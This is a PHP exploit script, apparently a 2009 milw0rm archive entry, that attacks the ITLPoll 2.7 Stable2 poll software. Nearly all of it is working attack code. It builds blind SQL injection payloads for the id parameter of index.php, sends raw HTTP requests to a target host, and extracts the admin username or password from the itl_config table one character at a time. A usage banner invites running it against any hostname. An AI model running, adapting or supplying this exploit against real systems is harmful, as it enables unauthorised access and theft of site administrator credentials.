ITLPoll 2.7 Stable2 - Blind SQL Injection

<?php

function usage ()
{
    echo "\nITLPoll v2.7 Stable2 Blind SQL Injection Exploit".
         "\n[☢] Usage   : ./itlpoll.php hostname path <username or password>".
         "\n[☢] Ex	: ./itlpoll.php localhost /itlpoll password".
	 "\n\n";
    exit ();
}


function query ($func, $chr, $pos)
{   //replace 1' with a valid poll number if you have problems. See hostname/path/?Archive for a list of polls.
    $query = "1' AND ORD(MID((SELECT IFNULL(CAST({$func} AS CHAR(10000)), CHAR(32)) FROM itl_config WHERE id = 1),{$pos},1))='{$chr}";
    $query = str_replace (" ", "%20", $query);
    $query = str_replace ("'", "%27", $query);
    return $query;
}

function exploit ($host, $path, $func, $pos, $chr)
{
    $chr = ord ($chr);
    $fp = fsockopen ($host, 80);
    $query = query ($func, $chr, $pos);
    $request = "GET {$path}/index.php?id={$query} HTTP/1.1\r\n".
           "Host: {$host}\r\n".
           "Connection: Close\r\n\r\n";

    fputs ($fp, $request);
    while (!feof ($fp))
        $reply .= fgets ($fp, 1024);

    fclose ($fp);

    if (preg_match ("/EXPIERED/", $reply))
        return false;
    else
        return true;
}


if ($argc != 4)

    usage ();

$host = $argv [1];
$path = $argv [2];
$func = $argv [3];
$key = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; //add a bigger char set if you can't get the username
$pos = 1;
$chr = 0;

echo "[☢] Creds: ";

while ($pos <= 32)
{
    if (exploit ($host, $path, $func, $pos, $key [$chr]))
    {
        echo $key [$chr];
        $chr = 0;
        $pos++;
    }
    else
        $chr++;
}
echo "\n";
?>

# milw0rm.com [2009-01-26]